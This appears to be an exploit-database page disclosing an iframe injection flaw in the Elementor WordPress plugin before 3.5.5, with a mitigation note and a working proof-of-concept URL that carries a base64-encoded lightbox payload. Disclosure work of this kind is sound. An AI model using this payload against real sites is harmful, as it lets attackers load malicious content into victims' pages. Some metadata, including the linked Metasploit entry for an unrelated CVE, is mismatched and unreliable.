header-logo
Suggest Exploit
vendor:
Elementor Plugin
by:
Miguel Santareno
6.1
CVSS
MEDIUM
Iframe Injection
200
CWE
Product Name: Elementor Plugin
Affected Version From: Version < 3.5.5
Affected Version To:
Patch Exists: YES
Related CWE: CVE-2022-4953
CPE: a:elementor:elementor:3.5.5
Metasploit: https://www.rapid7.com/db/vulnerabilities/freebsd-cve-2022-41905/
Other Scripts:
Platforms Tested: Google and Firefox latest version
2023

WordPress Plugin Elementor < 3.5.5 - Iframe Injection

The plugin does not filter out user-controlled URLs from being loaded into the DOM. This could be used to inject rogue iframes that point to malicious URLs.

Mitigation:

Update to version 3.5.5 or later.
Source

Exploit-DB raw data:

# Exploit Title: Wordpress Plugin Elementor < 3.5.5 - Iframe Injection
# Date: 28.08.2023
# Exploit Author: Miguel Santareno
# Vendor Homepage: https://elementor.com/
# Version: < 3.5.5
# Tested on: Google and Firefox latest version
# CVE : CVE-2022-4953

# 1. Description
The plugin does not filter out user-controlled URLs from being loaded into the DOM. This could be used to inject rogue iframes that point to malicious URLs.


# 2. Proof of Concept (PoC)
Proof of Concept:
https://vulnerable-site.tld/#elementor-action:action=lightbox&settings=eyJ0eXBlIjoidmlkZW8iLCJ1cmwiOiJodHRwczovL2Rvd25sb2FkbW9yZXJhbS5jb20vIn0K

Navigation

Suggest Exploit

Services By CQR